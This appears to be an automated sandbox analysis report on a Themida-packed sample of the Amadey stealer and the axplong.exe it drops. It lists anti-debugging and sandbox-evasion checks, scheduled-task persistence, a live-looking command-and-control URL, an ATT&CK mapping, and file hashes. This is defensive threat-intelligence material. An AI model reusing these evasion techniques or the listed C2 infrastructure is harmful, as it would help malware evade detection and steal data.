Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80843 second address: 4C80849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80849 second address: 4C8084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8084D second address: 4C80851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E7D second address: 4C70E98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 6201ED24h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov eax, 750EA8CBh 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E98 second address: 4C70E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E9C second address: 4C70EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70EA2 second address: 4C70EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70EA8 second address: 4C70EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AE956F second address: AE957D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jne 00007FD4A4C54696h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAEA5 second address: AEAEE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop esi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 jmp 00007FD4A4C546A4h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD4A4C5469Ch 0x00000028 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D5EAE3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0F84A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F229BB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D5EAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F9B69A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 95EAE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: B0F84A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: B229BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: B9B69A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04CD0306 rdtsc

0_2_04CD0306

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 2030	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 419	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 2002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 2036	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5208	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5208	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6188	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6188	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6192	Thread sleep count: 2030 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6192	Thread sleep time: -4062030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1088	Thread sleep count: 419 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1088	Thread sleep time: -12570000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4896	Thread sleep time: -1440000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5260	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5260	Thread sleep time: -114057s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3640	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3640	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3652	Thread sleep count: 309 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3652	Thread sleep time: -618309s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2740	Thread sleep count: 2002 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2740	Thread sleep time: -4006002s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5912	Thread sleep count: 2036 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5912	Thread sleep time: -4074036s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: axplong.exe, 00000006.00000002.3389125760.0000000001348000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW-
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: axplong.exe, 00000006.00000002.3389125760.000000000137A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, 00000000.00000002.2190504154.0000000000EF0000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2220629533.0000000000AF0000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2220950563.0000000000AF0000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_052F040C Start: 052F049C End: 052F0496

6_2_052F040C

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04CD0306 rdtsc

0_2_04CD0306

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0092645B mov eax, dword ptr fs:[00000030h]		6_2_0092645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0092A1C2 mov eax, dword ptr fs:[00000030h]		6_2_0092A1C2

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"

Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: cProgram Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_0090D312 cpuid

6_2_0090D312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_0090CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_0090CB1A

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.axplong.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2190425127.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2220852652.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2149476998.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2179442160.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2180250631.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2220557064.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2651739897.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	224 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	55%	ReversingLabs	Win32.Trojan.Generic

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.16/Jo89Ku7d/index.phpbb	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpfyYt	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpJy%t	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded.G	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpDb	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpec	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpGc	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpzyUt	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.php#Y	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phprc	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpTc	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.php6c	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpUb	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.php.y	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.php7b	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpded	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.php)c~v&	axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpiRyMt	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.php6y)t	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.php1	axplong.exe, 00000006.00000002.3389125760.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/Jo89Ku7d/index.phpdedMG	axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520475
Start date and time:	2024-09-27 11:28:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@0/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target axplong.exe, PID 2996 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 3784 because there are no executed function
Execution Graph export aborted for target file.exe, PID 5748 because it is empty
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
05:30:01	API Interceptor	694361x Sleep call for process: axplong.exe modified
11:29:12	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16/soka/random.exe
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1923072
Entropy (8bit):	7.94989797306349
Encrypted:	false
SSDEEP:	49152:yndcjiRsr7EcYYIpTdp08efz7c2QL7nqIGg0HlpI4:eZR66TdWfXc2aTDYI
MD5:	73ACB4CC181ACA9525AB9F599500B9CA
SHA1:	46A29F8B0E10003F85A8EAE8A46473D0344650DF
SHA-256:	4BC8AB389044AABD25719E924300530FEDDAE8EFA8A485CBFD67DE8F347132F2
SHA-512:	F84E777E3591E00A8C7AC53AD47554D100AEC16F19E143DD69447CD2D3872975C5C673F2AB1A8C66A164D0DEC73D8876A7D9064386EB90C0474E55C2187CE5C0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Joe Sandbox View:	Filename: 8y4qT1eVpi.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................L...........@...........................L...........@.................................W...k............................kL..............................kL..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...dmbsosmk.@...02..>..................@...uuntaxqq.....pL......2..............@....taggant.0....L.."...6..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	3.449259938803551
Encrypted:	false
SSDEEP:	6:AMERvmVXlXUEZ+lX1lOJUPelkDdtE9+AQy0lbXdt0:AMERI1Q1lOmeeDs9+nVLdt0
MD5:	FC29F7659967AE584FCD3DF81A7A6873
SHA1:	D099B0CB02EAFBF0CECFA13D320CA43DFEFC4037
SHA-256:	59DFDA5FB6236BF51139515F7AAD7CA195E4CD2F98DE6678A0B4E71C17ECEE78
